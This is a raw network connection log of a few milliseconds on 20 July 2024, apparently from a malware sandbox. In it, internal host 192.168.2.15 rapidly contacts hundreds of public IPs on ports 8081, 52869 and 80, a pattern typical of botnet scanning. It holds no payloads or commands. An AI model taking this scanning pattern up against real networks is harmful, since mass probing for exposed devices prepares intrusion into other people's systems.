Jul 20, 2024 23:10:36.904428959 CEST	8081	58768	196.239.70.8	192.168.2.15
Jul 20, 2024 23:10:36.904433966 CEST	58768	8081	192.168.2.15	139.20.180.119
Jul 20, 2024 23:10:36.904433966 CEST	58768	8081	192.168.2.15	98.32.247.128
Jul 20, 2024 23:10:36.904433966 CEST	58768	8081	192.168.2.15	79.84.60.251
Jul 20, 2024 23:10:36.904434919 CEST	58768	8081	192.168.2.15	59.64.211.16
Jul 20, 2024 23:10:36.904434919 CEST	58768	8081	192.168.2.15	193.73.82.86
Jul 20, 2024 23:10:36.904434919 CEST	58768	8081	192.168.2.15	42.75.70.65
Jul 20, 2024 23:10:36.904434919 CEST	58768	8081	192.168.2.15	191.77.173.179
Jul 20, 2024 23:10:36.904443026 CEST	8081	58768	38.56.107.193	192.168.2.15
Jul 20, 2024 23:10:36.904544115 CEST	58768	8081	192.168.2.15	76.56.5.73
Jul 20, 2024 23:10:36.904545069 CEST	58768	8081	192.168.2.15	124.101.153.157
Jul 20, 2024 23:10:36.904545069 CEST	58768	8081	192.168.2.15	20.18.13.70
Jul 20, 2024 23:10:36.904545069 CEST	58768	8081	192.168.2.15	138.82.251.248
Jul 20, 2024 23:10:36.904545069 CEST	58768	8081	192.168.2.15	139.52.111.51
Jul 20, 2024 23:10:36.904545069 CEST	58768	8081	192.168.2.15	188.164.22.178
Jul 20, 2024 23:10:36.904545069 CEST	58768	8081	192.168.2.15	139.189.248.2
Jul 20, 2024 23:10:36.904545069 CEST	58768	8081	192.168.2.15	202.215.88.159
Jul 20, 2024 23:10:36.904558897 CEST	8081	58768	53.134.227.78	192.168.2.15
Jul 20, 2024 23:10:36.904710054 CEST	8081	58768	103.141.108.85	192.168.2.15
Jul 20, 2024 23:10:36.904740095 CEST	58768	8081	192.168.2.15	53.134.227.78
Jul 20, 2024 23:10:36.904746056 CEST	8081	58768	188.77.70.4	192.168.2.15
Jul 20, 2024 23:10:36.904846907 CEST	58768	8081	192.168.2.15	103.141.108.85
Jul 20, 2024 23:10:36.905026913 CEST	8081	58768	209.233.239.62	192.168.2.15
Jul 20, 2024 23:10:36.905040026 CEST	8081	58768	24.230.85.184	192.168.2.15
Jul 20, 2024 23:10:36.905051947 CEST	8081	58768	65.144.4.91	192.168.2.15
Jul 20, 2024 23:10:36.905159950 CEST	58768	8081	192.168.2.15	93.134.175.245
Jul 20, 2024 23:10:36.905159950 CEST	58768	8081	192.168.2.15	101.27.114.183
Jul 20, 2024 23:10:36.905159950 CEST	58768	8081	192.168.2.15	196.239.70.8
Jul 20, 2024 23:10:36.905159950 CEST	58768	8081	192.168.2.15	65.144.4.91
Jul 20, 2024 23:10:36.905220985 CEST	8081	58768	120.75.38.85	192.168.2.15
Jul 20, 2024 23:10:36.905242920 CEST	8081	58768	116.99.52.164	192.168.2.15
Jul 20, 2024 23:10:36.905255079 CEST	8081	58768	73.57.192.131	192.168.2.15
Jul 20, 2024 23:10:36.905257940 CEST	58768	8081	192.168.2.15	120.75.38.85
Jul 20, 2024 23:10:36.905282974 CEST	8081	58768	9.154.150.75	192.168.2.15
Jul 20, 2024 23:10:36.905395031 CEST	58768	8081	192.168.2.15	73.57.192.131
Jul 20, 2024 23:10:36.905478954 CEST	58768	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:36.905478954 CEST	58768	8081	192.168.2.15	124.113.55.225
Jul 20, 2024 23:10:36.905478954 CEST	58768	8081	192.168.2.15	193.51.219.44
Jul 20, 2024 23:10:36.905478954 CEST	58768	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:36.905479908 CEST	58768	8081	192.168.2.15	151.208.135.249
Jul 20, 2024 23:10:36.905479908 CEST	58768	8081	192.168.2.15	129.96.11.55
Jul 20, 2024 23:10:36.905479908 CEST	58768	8081	192.168.2.15	38.56.107.193
Jul 20, 2024 23:10:36.905492067 CEST	58771	52869	192.168.2.15	83.192.69.169
Jul 20, 2024 23:10:36.905492067 CEST	58771	52869	192.168.2.15	176.153.164.72
Jul 20, 2024 23:10:36.905493021 CEST	58771	52869	192.168.2.15	120.45.180.53
Jul 20, 2024 23:10:36.905493021 CEST	58771	52869	192.168.2.15	177.136.103.6
Jul 20, 2024 23:10:36.905493021 CEST	58771	52869	192.168.2.15	115.98.201.93
Jul 20, 2024 23:10:36.905493021 CEST	58771	52869	192.168.2.15	182.109.246.156
Jul 20, 2024 23:10:36.905493021 CEST	58771	52869	192.168.2.15	40.132.75.155
Jul 20, 2024 23:10:36.905493021 CEST	58771	52869	192.168.2.15	2.153.148.196
Jul 20, 2024 23:10:36.905559063 CEST	8081	58768	89.94.228.2	192.168.2.15
Jul 20, 2024 23:10:36.905571938 CEST	8081	58768	109.254.234.165	192.168.2.15
Jul 20, 2024 23:10:36.905584097 CEST	8081	58768	156.118.202.241	192.168.2.15
Jul 20, 2024 23:10:36.905595064 CEST	58768	8081	192.168.2.15	89.94.228.2
Jul 20, 2024 23:10:36.905610085 CEST	8081	58768	218.163.113.131	192.168.2.15
Jul 20, 2024 23:10:36.905620098 CEST	58768	8081	192.168.2.15	221.249.213.24
Jul 20, 2024 23:10:36.905620098 CEST	58768	8081	192.168.2.15	44.42.9.48
Jul 20, 2024 23:10:36.905620098 CEST	58768	8081	192.168.2.15	35.8.60.139
Jul 20, 2024 23:10:36.905620098 CEST	58768	8081	192.168.2.15	174.144.30.210
Jul 20, 2024 23:10:36.905620098 CEST	58768	8081	192.168.2.15	27.113.244.20
Jul 20, 2024 23:10:36.905622959 CEST	8081	58768	220.76.9.69	192.168.2.15
Jul 20, 2024 23:10:36.905637026 CEST	8081	58768	59.207.243.209	192.168.2.15
Jul 20, 2024 23:10:36.905649900 CEST	8081	58768	140.197.167.36	192.168.2.15
Jul 20, 2024 23:10:36.905662060 CEST	8081	58768	136.254.84.193	192.168.2.15
Jul 20, 2024 23:10:36.905673981 CEST	8081	58768	109.43.3.47	192.168.2.15
Jul 20, 2024 23:10:36.905689001 CEST	8081	58768	63.16.209.243	192.168.2.15
Jul 20, 2024 23:10:36.905803919 CEST	58768	8081	192.168.2.15	156.118.202.241
Jul 20, 2024 23:10:36.905831099 CEST	58768	8081	192.168.2.15	116.99.52.164
Jul 20, 2024 23:10:36.905831099 CEST	58768	8081	192.168.2.15	9.154.150.75
Jul 20, 2024 23:10:36.905831099 CEST	58768	8081	192.168.2.15	109.254.234.165
Jul 20, 2024 23:10:36.906502008 CEST	8081	58768	96.174.40.204	192.168.2.15
Jul 20, 2024 23:10:36.906502962 CEST	58768	8081	192.168.2.15	188.77.70.4
Jul 20, 2024 23:10:36.906502962 CEST	58768	8081	192.168.2.15	209.233.239.62
Jul 20, 2024 23:10:36.906502962 CEST	58768	8081	192.168.2.15	220.76.9.69
Jul 20, 2024 23:10:36.906502962 CEST	58768	8081	192.168.2.15	140.197.167.36
Jul 20, 2024 23:10:36.906524897 CEST	8081	58768	39.109.155.171	192.168.2.15
Jul 20, 2024 23:10:36.906589985 CEST	8081	58768	128.22.65.203	192.168.2.15
Jul 20, 2024 23:10:36.906603098 CEST	8081	58768	211.111.42.56	192.168.2.15
Jul 20, 2024 23:10:36.906610012 CEST	58768	8081	192.168.2.15	99.156.119.5
Jul 20, 2024 23:10:36.906610012 CEST	58768	8081	192.168.2.15	61.62.72.247
Jul 20, 2024 23:10:36.906610012 CEST	58768	8081	192.168.2.15	9.123.186.166
Jul 20, 2024 23:10:36.906610966 CEST	58768	8081	192.168.2.15	18.118.98.230
Jul 20, 2024 23:10:36.906610966 CEST	58768	8081	192.168.2.15	134.124.70.142
Jul 20, 2024 23:10:36.906610966 CEST	58768	8081	192.168.2.15	193.134.63.157
Jul 20, 2024 23:10:36.906610966 CEST	58768	8081	192.168.2.15	217.185.157.152
Jul 20, 2024 23:10:36.906610966 CEST	58768	8081	192.168.2.15	85.137.3.183
Jul 20, 2024 23:10:36.906615019 CEST	8081	58768	118.85.135.168	192.168.2.15
Jul 20, 2024 23:10:36.906698942 CEST	8081	58768	103.43.41.37	192.168.2.15
Jul 20, 2024 23:10:36.906712055 CEST	8081	58768	98.210.157.20	192.168.2.15
Jul 20, 2024 23:10:36.906718016 CEST	58768	8081	192.168.2.15	109.43.3.47
Jul 20, 2024 23:10:36.906718969 CEST	58768	8081	192.168.2.15	96.174.40.204
Jul 20, 2024 23:10:36.906718969 CEST	58768	8081	192.168.2.15	128.22.65.203
Jul 20, 2024 23:10:36.906718969 CEST	58768	8081	192.168.2.15	118.85.135.168
Jul 20, 2024 23:10:36.906724930 CEST	8081	58768	143.93.205.194	192.168.2.15
Jul 20, 2024 23:10:36.906791925 CEST	58771	52869	192.168.2.15	206.196.196.246
Jul 20, 2024 23:10:36.906791925 CEST	58771	52869	192.168.2.15	125.21.239.121
Jul 20, 2024 23:10:36.906791925 CEST	58771	52869	192.168.2.15	71.236.229.89
Jul 20, 2024 23:10:36.906791925 CEST	58771	52869	192.168.2.15	204.214.217.245
Jul 20, 2024 23:10:36.906791925 CEST	58771	52869	192.168.2.15	183.35.212.37
Jul 20, 2024 23:10:36.906791925 CEST	58771	52869	192.168.2.15	166.215.171.59
Jul 20, 2024 23:10:36.906791925 CEST	58771	52869	192.168.2.15	88.50.82.139
Jul 20, 2024 23:10:36.906791925 CEST	58771	52869	192.168.2.15	170.125.233.158
Jul 20, 2024 23:10:36.906893969 CEST	58768	8081	192.168.2.15	39.109.155.171
Jul 20, 2024 23:10:36.906893969 CEST	58768	8081	192.168.2.15	98.210.157.20
Jul 20, 2024 23:10:36.906991005 CEST	58768	8081	192.168.2.15	218.163.113.131
Jul 20, 2024 23:10:36.906991959 CEST	8081	58768	19.32.100.158	192.168.2.15
Jul 20, 2024 23:10:36.906991959 CEST	58768	8081	192.168.2.15	136.254.84.193
Jul 20, 2024 23:10:36.906991959 CEST	58768	8081	192.168.2.15	211.111.42.56
Jul 20, 2024 23:10:36.906991959 CEST	58768	8081	192.168.2.15	103.43.41.37
Jul 20, 2024 23:10:36.907006979 CEST	8081	58768	13.15.212.143	192.168.2.15
Jul 20, 2024 23:10:36.907018900 CEST	8081	58768	206.8.55.164	192.168.2.15
Jul 20, 2024 23:10:36.907032013 CEST	8081	58768	40.80.153.52	192.168.2.15
Jul 20, 2024 23:10:36.907150030 CEST	58768	8081	192.168.2.15	143.93.205.194
Jul 20, 2024 23:10:36.907150984 CEST	58768	8081	192.168.2.15	13.15.212.143
Jul 20, 2024 23:10:36.907193899 CEST	58768	8081	192.168.2.15	206.8.55.164
Jul 20, 2024 23:10:36.907423019 CEST	8081	58768	95.238.91.109	192.168.2.15
Jul 20, 2024 23:10:36.907437086 CEST	8081	58768	9.175.217.225	192.168.2.15
Jul 20, 2024 23:10:36.907464981 CEST	58768	8081	192.168.2.15	40.80.153.52
Jul 20, 2024 23:10:36.907485008 CEST	58768	8081	192.168.2.15	64.52.71.132
Jul 20, 2024 23:10:36.907486916 CEST	58768	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:36.907486916 CEST	58768	8081	192.168.2.15	24.230.85.184
Jul 20, 2024 23:10:36.907486916 CEST	58768	8081	192.168.2.15	59.207.243.209
Jul 20, 2024 23:10:36.907486916 CEST	58768	8081	192.168.2.15	63.16.209.243
Jul 20, 2024 23:10:36.907486916 CEST	58768	8081	192.168.2.15	19.32.100.158
Jul 20, 2024 23:10:36.907486916 CEST	58768	8081	192.168.2.15	95.238.91.109
Jul 20, 2024 23:10:36.907558918 CEST	58768	8081	192.168.2.15	9.175.217.225
Jul 20, 2024 23:10:36.907640934 CEST	58771	52869	192.168.2.15	204.224.168.136
Jul 20, 2024 23:10:36.907640934 CEST	58771	52869	192.168.2.15	87.96.169.124
Jul 20, 2024 23:10:36.907640934 CEST	58771	52869	192.168.2.15	161.98.93.118
Jul 20, 2024 23:10:36.907640934 CEST	58771	52869	192.168.2.15	93.92.137.140
Jul 20, 2024 23:10:36.907640934 CEST	58771	52869	192.168.2.15	144.199.69.231
Jul 20, 2024 23:10:36.907640934 CEST	58771	52869	192.168.2.15	84.73.107.22
Jul 20, 2024 23:10:36.907640934 CEST	58771	52869	192.168.2.15	218.252.49.207
Jul 20, 2024 23:10:36.907640934 CEST	58771	52869	192.168.2.15	223.207.241.249
Jul 20, 2024 23:10:36.907917023 CEST	58771	52869	192.168.2.15	101.208.123.47
Jul 20, 2024 23:10:36.907917023 CEST	58771	52869	192.168.2.15	120.249.15.196
Jul 20, 2024 23:10:36.907917023 CEST	58771	52869	192.168.2.15	187.103.187.129
Jul 20, 2024 23:10:36.907917023 CEST	58771	52869	192.168.2.15	108.61.81.251
Jul 20, 2024 23:10:36.907917023 CEST	58771	52869	192.168.2.15	97.26.75.62
Jul 20, 2024 23:10:36.907917023 CEST	58771	52869	192.168.2.15	156.200.177.8
Jul 20, 2024 23:10:36.907917023 CEST	58771	52869	192.168.2.15	138.191.20.3
Jul 20, 2024 23:10:36.907917023 CEST	58771	52869	192.168.2.15	174.3.101.240
Jul 20, 2024 23:10:36.907941103 CEST	8081	58768	73.50.217.173	192.168.2.15
Jul 20, 2024 23:10:36.907955885 CEST	8081	58768	158.147.222.64	192.168.2.15
Jul 20, 2024 23:10:36.907970905 CEST	8081	58768	62.94.176.238	192.168.2.15
Jul 20, 2024 23:10:36.907984972 CEST	58768	8081	192.168.2.15	73.50.217.173
Jul 20, 2024 23:10:36.907989025 CEST	58768	8081	192.168.2.15	158.147.222.64
Jul 20, 2024 23:10:36.908006907 CEST	58768	8081	192.168.2.15	62.94.176.238
Jul 20, 2024 23:10:36.908026934 CEST	58771	52869	192.168.2.15	58.241.117.126
Jul 20, 2024 23:10:36.908026934 CEST	58771	52869	192.168.2.15	120.23.97.41
Jul 20, 2024 23:10:36.908026934 CEST	58771	52869	192.168.2.15	217.149.106.243
Jul 20, 2024 23:10:36.908026934 CEST	58768	8081	192.168.2.15	20.61.0.195
Jul 20, 2024 23:10:36.908026934 CEST	58768	8081	192.168.2.15	113.68.212.159
Jul 20, 2024 23:10:36.908026934 CEST	58768	8081	192.168.2.15	157.233.202.176
Jul 20, 2024 23:10:36.908026934 CEST	58768	8081	192.168.2.15	44.83.50.78
Jul 20, 2024 23:10:36.908026934 CEST	58768	8081	192.168.2.15	125.254.172.194
Jul 20, 2024 23:10:36.908200979 CEST	58768	8081	192.168.2.15	141.1.230.175
Jul 20, 2024 23:10:36.908200979 CEST	58768	8081	192.168.2.15	181.188.178.7
Jul 20, 2024 23:10:36.908200979 CEST	58768	8081	192.168.2.15	81.100.99.55
Jul 20, 2024 23:10:36.908200979 CEST	58768	8081	192.168.2.15	98.219.143.232
Jul 20, 2024 23:10:36.908200979 CEST	58768	8081	192.168.2.15	216.21.100.11
Jul 20, 2024 23:10:36.908200979 CEST	58768	8081	192.168.2.15	170.158.47.201
Jul 20, 2024 23:10:36.908200979 CEST	58768	8081	192.168.2.15	72.171.127.228
Jul 20, 2024 23:10:36.908200979 CEST	58768	8081	192.168.2.15	61.170.24.35
Jul 20, 2024 23:10:36.908333063 CEST	58768	8081	192.168.2.15	176.167.87.19
Jul 20, 2024 23:10:36.908334017 CEST	58768	8081	192.168.2.15	62.193.128.105
Jul 20, 2024 23:10:36.908334017 CEST	58768	8081	192.168.2.15	111.192.122.49
Jul 20, 2024 23:10:36.908334017 CEST	58768	8081	192.168.2.15	178.36.249.105
Jul 20, 2024 23:10:36.908413887 CEST	8081	58768	132.49.133.83	192.168.2.15
Jul 20, 2024 23:10:36.908427954 CEST	8081	58768	88.123.57.1	192.168.2.15
Jul 20, 2024 23:10:36.908452988 CEST	58768	8081	192.168.2.15	132.49.133.83
Jul 20, 2024 23:10:36.908461094 CEST	58768	8081	192.168.2.15	88.123.57.1
Jul 20, 2024 23:10:36.909023046 CEST	8081	58768	47.109.125.162	192.168.2.15
Jul 20, 2024 23:10:36.909048080 CEST	8081	58768	125.94.214.213	192.168.2.15
Jul 20, 2024 23:10:36.909058094 CEST	58768	8081	192.168.2.15	47.109.125.162
Jul 20, 2024 23:10:36.909085035 CEST	58768	8081	192.168.2.15	125.94.214.213
Jul 20, 2024 23:10:36.909277916 CEST	8081	58768	133.51.42.64	192.168.2.15
Jul 20, 2024 23:10:36.909315109 CEST	58768	8081	192.168.2.15	133.51.42.64
Jul 20, 2024 23:10:36.909372091 CEST	8081	58768	182.138.162.230	192.168.2.15
Jul 20, 2024 23:10:36.909385920 CEST	8081	58768	76.174.89.37	192.168.2.15
Jul 20, 2024 23:10:36.909419060 CEST	58768	8081	192.168.2.15	182.138.162.230
Jul 20, 2024 23:10:36.909425020 CEST	58768	8081	192.168.2.15	76.174.89.37
Jul 20, 2024 23:10:36.909775019 CEST	8081	58768	52.121.158.13	192.168.2.15
Jul 20, 2024 23:10:36.909789085 CEST	8081	58768	76.56.5.73	192.168.2.15
Jul 20, 2024 23:10:36.909811020 CEST	8081	58768	220.85.17.7	192.168.2.15
Jul 20, 2024 23:10:36.909818888 CEST	58768	8081	192.168.2.15	52.121.158.13
Jul 20, 2024 23:10:36.909821033 CEST	58768	8081	192.168.2.15	76.56.5.73
Jul 20, 2024 23:10:36.909825087 CEST	8081	58768	151.248.207.192	192.168.2.15
Jul 20, 2024 23:10:36.909845114 CEST	58768	8081	192.168.2.15	220.85.17.7
Jul 20, 2024 23:10:36.909862041 CEST	58768	8081	192.168.2.15	151.248.207.192
Jul 20, 2024 23:10:36.910049915 CEST	8081	58768	102.109.43.7	192.168.2.15
Jul 20, 2024 23:10:36.910088062 CEST	58768	8081	192.168.2.15	102.109.43.7
Jul 20, 2024 23:10:36.910209894 CEST	8081	58768	1.192.176.226	192.168.2.15
Jul 20, 2024 23:10:36.910248041 CEST	58768	8081	192.168.2.15	1.192.176.226
Jul 20, 2024 23:10:36.910553932 CEST	8081	58768	217.134.215.166	192.168.2.15
Jul 20, 2024 23:10:36.910568953 CEST	8081	58768	221.249.213.24	192.168.2.15
Jul 20, 2024 23:10:36.910582066 CEST	8081	58768	124.101.153.157	192.168.2.15
Jul 20, 2024 23:10:36.910597086 CEST	58768	8081	192.168.2.15	217.134.215.166
Jul 20, 2024 23:10:36.910597086 CEST	58768	8081	192.168.2.15	221.249.213.24
Jul 20, 2024 23:10:36.910618067 CEST	58768	8081	192.168.2.15	124.101.153.157
Jul 20, 2024 23:10:36.910743952 CEST	8081	58768	20.18.13.70	192.168.2.15
Jul 20, 2024 23:10:36.910778046 CEST	58768	8081	192.168.2.15	20.18.13.70
Jul 20, 2024 23:10:36.910881042 CEST	8081	58768	138.82.251.248	192.168.2.15
Jul 20, 2024 23:10:36.910918951 CEST	58768	8081	192.168.2.15	138.82.251.248
Jul 20, 2024 23:10:36.911012888 CEST	8081	58768	44.42.9.48	192.168.2.15
Jul 20, 2024 23:10:36.911055088 CEST	58768	8081	192.168.2.15	44.42.9.48
Jul 20, 2024 23:10:36.911119938 CEST	8081	58768	35.8.60.139	192.168.2.15
Jul 20, 2024 23:10:36.911135912 CEST	8081	58768	174.144.30.210	192.168.2.15
Jul 20, 2024 23:10:36.911160946 CEST	58768	8081	192.168.2.15	35.8.60.139
Jul 20, 2024 23:10:36.911192894 CEST	58768	8081	192.168.2.15	174.144.30.210
Jul 20, 2024 23:10:36.911288023 CEST	8081	58768	139.52.111.51	192.168.2.15
Jul 20, 2024 23:10:36.911302090 CEST	8081	58768	188.164.22.178	192.168.2.15
Jul 20, 2024 23:10:36.911324978 CEST	58768	8081	192.168.2.15	139.52.111.51
Jul 20, 2024 23:10:36.911358118 CEST	58768	8081	192.168.2.15	188.164.22.178
Jul 20, 2024 23:10:36.911457062 CEST	8081	58768	139.189.248.2	192.168.2.15
Jul 20, 2024 23:10:36.911472082 CEST	8081	58768	202.215.88.159	192.168.2.15
Jul 20, 2024 23:10:36.911493063 CEST	58768	8081	192.168.2.15	139.189.248.2
Jul 20, 2024 23:10:36.911514997 CEST	58768	8081	192.168.2.15	202.215.88.159
Jul 20, 2024 23:10:36.911547899 CEST	8081	58768	27.113.244.20	192.168.2.15
Jul 20, 2024 23:10:36.911562920 CEST	8081	58768	99.156.119.5	192.168.2.15
Jul 20, 2024 23:10:36.911586046 CEST	58768	8081	192.168.2.15	27.113.244.20
Jul 20, 2024 23:10:36.911598921 CEST	58768	8081	192.168.2.15	99.156.119.5
Jul 20, 2024 23:10:36.911770105 CEST	8081	58768	61.62.72.247	192.168.2.15
Jul 20, 2024 23:10:36.911801100 CEST	58768	8081	192.168.2.15	61.62.72.247
Jul 20, 2024 23:10:36.912003994 CEST	8081	58768	9.123.186.166	192.168.2.15
Jul 20, 2024 23:10:36.912020922 CEST	8081	58768	18.118.98.230	192.168.2.15
Jul 20, 2024 23:10:36.912044048 CEST	58768	8081	192.168.2.15	9.123.186.166
Jul 20, 2024 23:10:36.912065029 CEST	58768	8081	192.168.2.15	18.118.98.230
Jul 20, 2024 23:10:36.912266016 CEST	8081	58768	134.124.70.142	192.168.2.15
Jul 20, 2024 23:10:36.912297010 CEST	58768	8081	192.168.2.15	134.124.70.142
Jul 20, 2024 23:10:36.912318945 CEST	8081	58768	193.134.63.157	192.168.2.15
Jul 20, 2024 23:10:36.912332058 CEST	8081	58768	217.185.157.152	192.168.2.15
Jul 20, 2024 23:10:36.912344933 CEST	8081	58768	85.137.3.183	192.168.2.15
Jul 20, 2024 23:10:36.912360907 CEST	58768	8081	192.168.2.15	193.134.63.157
Jul 20, 2024 23:10:36.912360907 CEST	58768	8081	192.168.2.15	217.185.157.152
Jul 20, 2024 23:10:36.912390947 CEST	58768	8081	192.168.2.15	85.137.3.183
Jul 20, 2024 23:10:36.912976980 CEST	8081	58768	20.61.0.195	192.168.2.15
Jul 20, 2024 23:10:36.913022995 CEST	8081	58768	113.68.212.159	192.168.2.15
Jul 20, 2024 23:10:36.913037062 CEST	8081	58768	157.233.202.176	192.168.2.15
Jul 20, 2024 23:10:36.913049936 CEST	8081	58768	44.83.50.78	192.168.2.15
Jul 20, 2024 23:10:36.913064957 CEST	8081	58768	125.254.172.194	192.168.2.15
Jul 20, 2024 23:10:36.913079023 CEST	8081	58768	141.1.230.175	192.168.2.15
Jul 20, 2024 23:10:36.913114071 CEST	58768	8081	192.168.2.15	20.61.0.195
Jul 20, 2024 23:10:36.913114071 CEST	58768	8081	192.168.2.15	113.68.212.159
Jul 20, 2024 23:10:36.913114071 CEST	58768	8081	192.168.2.15	157.233.202.176
Jul 20, 2024 23:10:36.913114071 CEST	58768	8081	192.168.2.15	44.83.50.78
Jul 20, 2024 23:10:36.913114071 CEST	58768	8081	192.168.2.15	125.254.172.194
Jul 20, 2024 23:10:36.913114071 CEST	58768	8081	192.168.2.15	141.1.230.175
Jul 20, 2024 23:10:36.913333893 CEST	8081	58768	181.188.178.7	192.168.2.15
Jul 20, 2024 23:10:36.913348913 CEST	8081	58768	81.100.99.55	192.168.2.15
Jul 20, 2024 23:10:36.913361073 CEST	8081	58768	98.219.143.232	192.168.2.15
Jul 20, 2024 23:10:36.913372993 CEST	58768	8081	192.168.2.15	181.188.178.7
Jul 20, 2024 23:10:36.913376093 CEST	8081	58768	216.21.100.11	192.168.2.15
Jul 20, 2024 23:10:36.913388968 CEST	8081	58768	170.158.47.201	192.168.2.15
Jul 20, 2024 23:10:36.913392067 CEST	58768	8081	192.168.2.15	81.100.99.55
Jul 20, 2024 23:10:36.913393021 CEST	58768	8081	192.168.2.15	98.219.143.232
Jul 20, 2024 23:10:36.913402081 CEST	8081	58768	72.171.127.228	192.168.2.15
Jul 20, 2024 23:10:36.913415909 CEST	8081	58768	61.170.24.35	192.168.2.15
Jul 20, 2024 23:10:36.913422108 CEST	58768	8081	192.168.2.15	216.21.100.11
Jul 20, 2024 23:10:36.913422108 CEST	58768	8081	192.168.2.15	170.158.47.201
Jul 20, 2024 23:10:36.913429976 CEST	8081	58768	176.167.87.19	192.168.2.15
Jul 20, 2024 23:10:36.913443089 CEST	8081	58768	62.193.128.105	192.168.2.15
Jul 20, 2024 23:10:36.913450003 CEST	58768	8081	192.168.2.15	72.171.127.228
Jul 20, 2024 23:10:36.913450003 CEST	58768	8081	192.168.2.15	61.170.24.35
Jul 20, 2024 23:10:36.913465977 CEST	8081	58768	111.192.122.49	192.168.2.15
Jul 20, 2024 23:10:36.913476944 CEST	58768	8081	192.168.2.15	176.167.87.19
Jul 20, 2024 23:10:36.913476944 CEST	58768	8081	192.168.2.15	62.193.128.105
Jul 20, 2024 23:10:36.913480043 CEST	8081	58768	178.36.249.105	192.168.2.15
Jul 20, 2024 23:10:36.913502932 CEST	58768	8081	192.168.2.15	111.192.122.49
Jul 20, 2024 23:10:36.913518906 CEST	58768	8081	192.168.2.15	178.36.249.105
Jul 20, 2024 23:10:36.919039965 CEST	58774	80	192.168.2.15	88.185.132.47
Jul 20, 2024 23:10:36.919099092 CEST	58774	80	192.168.2.15	88.27.3.47
Jul 20, 2024 23:10:36.919153929 CEST	58774	80	192.168.2.15	88.157.99.146
Jul 20, 2024 23:10:36.919202089 CEST	58774	80	192.168.2.15	88.186.97.141
Jul 20, 2024 23:10:36.919202089 CEST	58774	80	192.168.2.15	88.103.233.76
Jul 20, 2024 23:10:36.919212103 CEST	58774	80	192.168.2.15	88.181.133.134
Jul 20, 2024 23:10:36.919245005 CEST	58774	80	192.168.2.15	88.224.24.248
Jul 20, 2024 23:10:36.919277906 CEST	58774	80	192.168.2.15	88.84.173.177
Jul 20, 2024 23:10:36.919290066 CEST	58774	80	192.168.2.15	88.184.141.13
Jul 20, 2024 23:10:36.919300079 CEST	58774	80	192.168.2.15	88.160.95.128
Jul 20, 2024 23:10:36.919300079 CEST	58774	80	192.168.2.15	88.220.255.177
Jul 20, 2024 23:10:36.919351101 CEST	58774	80	192.168.2.15	88.212.206.87
Jul 20, 2024 23:10:36.919351101 CEST	58774	80	192.168.2.15	88.62.42.254
Jul 20, 2024 23:10:36.919364929 CEST	58774	80	192.168.2.15	88.168.180.193
Jul 20, 2024 23:10:36.919384003 CEST	58774	80	192.168.2.15	88.187.164.159
Jul 20, 2024 23:10:36.919413090 CEST	58774	80	192.168.2.15	88.10.201.81
Jul 20, 2024 23:10:36.919583082 CEST	58774	80	192.168.2.15	88.207.212.134
Jul 20, 2024 23:10:36.919580936 CEST	58774	80	192.168.2.15	88.232.161.110
Jul 20, 2024 23:10:36.919583082 CEST	58774	80	192.168.2.15	88.221.243.227
Jul 20, 2024 23:10:36.919583082 CEST	58774	80	192.168.2.15	88.204.80.174
Jul 20, 2024 23:10:36.919635057 CEST	58774	80	192.168.2.15	88.173.192.134
Jul 20, 2024 23:10:36.919739008 CEST	58774	80	192.168.2.15	88.148.109.126
Jul 20, 2024 23:10:36.919739008 CEST	58774	80	192.168.2.15	88.184.156.23
Jul 20, 2024 23:10:36.919739008 CEST	58774	80	192.168.2.15	88.183.185.95
Jul 20, 2024 23:10:36.919753075 CEST	58774	80	192.168.2.15	88.176.0.47
Jul 20, 2024 23:10:36.919781923 CEST	58774	80	192.168.2.15	88.225.148.212
Jul 20, 2024 23:10:36.919827938 CEST	58774	80	192.168.2.15	88.160.211.242
Jul 20, 2024 23:10:36.919832945 CEST	58774	80	192.168.2.15	88.3.103.96
Jul 20, 2024 23:10:36.919832945 CEST	58774	80	192.168.2.15	88.110.50.174
Jul 20, 2024 23:10:36.919833899 CEST	58774	80	192.168.2.15	88.179.172.15
Jul 20, 2024 23:10:36.919832945 CEST	58774	80	192.168.2.15	88.206.157.252
Jul 20, 2024 23:10:36.919955015 CEST	58774	80	192.168.2.15	88.8.102.154
Jul 20, 2024 23:10:36.919977903 CEST	58774	80	192.168.2.15	88.109.79.184
Jul 20, 2024 23:10:36.920006990 CEST	58774	80	192.168.2.15	88.166.84.21
Jul 20, 2024 23:10:36.920010090 CEST	58774	80	192.168.2.15	88.17.190.109
Jul 20, 2024 23:10:36.920027971 CEST	58774	80	192.168.2.15	88.110.66.57
Jul 20, 2024 23:10:36.920157909 CEST	58774	80	192.168.2.15	88.174.33.120
Jul 20, 2024 23:10:36.920193911 CEST	58774	80	192.168.2.15	88.70.91.27
Jul 20, 2024 23:10:36.920233011 CEST	58774	80	192.168.2.15	88.80.210.128
Jul 20, 2024 23:10:36.920233011 CEST	58774	80	192.168.2.15	88.7.110.43
Jul 20, 2024 23:10:36.920305967 CEST	58774	80	192.168.2.15	88.53.212.206
Jul 20, 2024 23:10:36.920315027 CEST	58774	80	192.168.2.15	88.83.51.96
Jul 20, 2024 23:10:36.920315027 CEST	58774	80	192.168.2.15	88.97.87.84
Jul 20, 2024 23:10:36.920315027 CEST	58774	80	192.168.2.15	88.139.130.203
Jul 20, 2024 23:10:36.920380116 CEST	58774	80	192.168.2.15	88.131.52.117
Jul 20, 2024 23:10:36.920434952 CEST	58774	80	192.168.2.15	88.43.49.250
Jul 20, 2024 23:10:36.920507908 CEST	58774	80	192.168.2.15	88.115.2.250
Jul 20, 2024 23:10:36.920609951 CEST	58774	80	192.168.2.15	88.126.87.180
Jul 20, 2024 23:10:36.920655966 CEST	58774	80	192.168.2.15	88.14.192.250
Jul 20, 2024 23:10:36.920679092 CEST	58774	80	192.168.2.15	88.203.15.239
Jul 20, 2024 23:10:36.920679092 CEST	58774	80	192.168.2.15	88.137.64.145
Jul 20, 2024 23:10:36.920732021 CEST	58774	80	192.168.2.15	88.84.71.81
Jul 20, 2024 23:10:36.920744896 CEST	58774	80	192.168.2.15	88.190.112.126
Jul 20, 2024 23:10:36.920785904 CEST	58774	80	192.168.2.15	88.131.16.171
Jul 20, 2024 23:10:36.920785904 CEST	58774	80	192.168.2.15	88.255.190.143
Jul 20, 2024 23:10:36.920785904 CEST	58774	80	192.168.2.15	88.180.237.224
Jul 20, 2024 23:10:36.920785904 CEST	58774	80	192.168.2.15	88.9.81.209
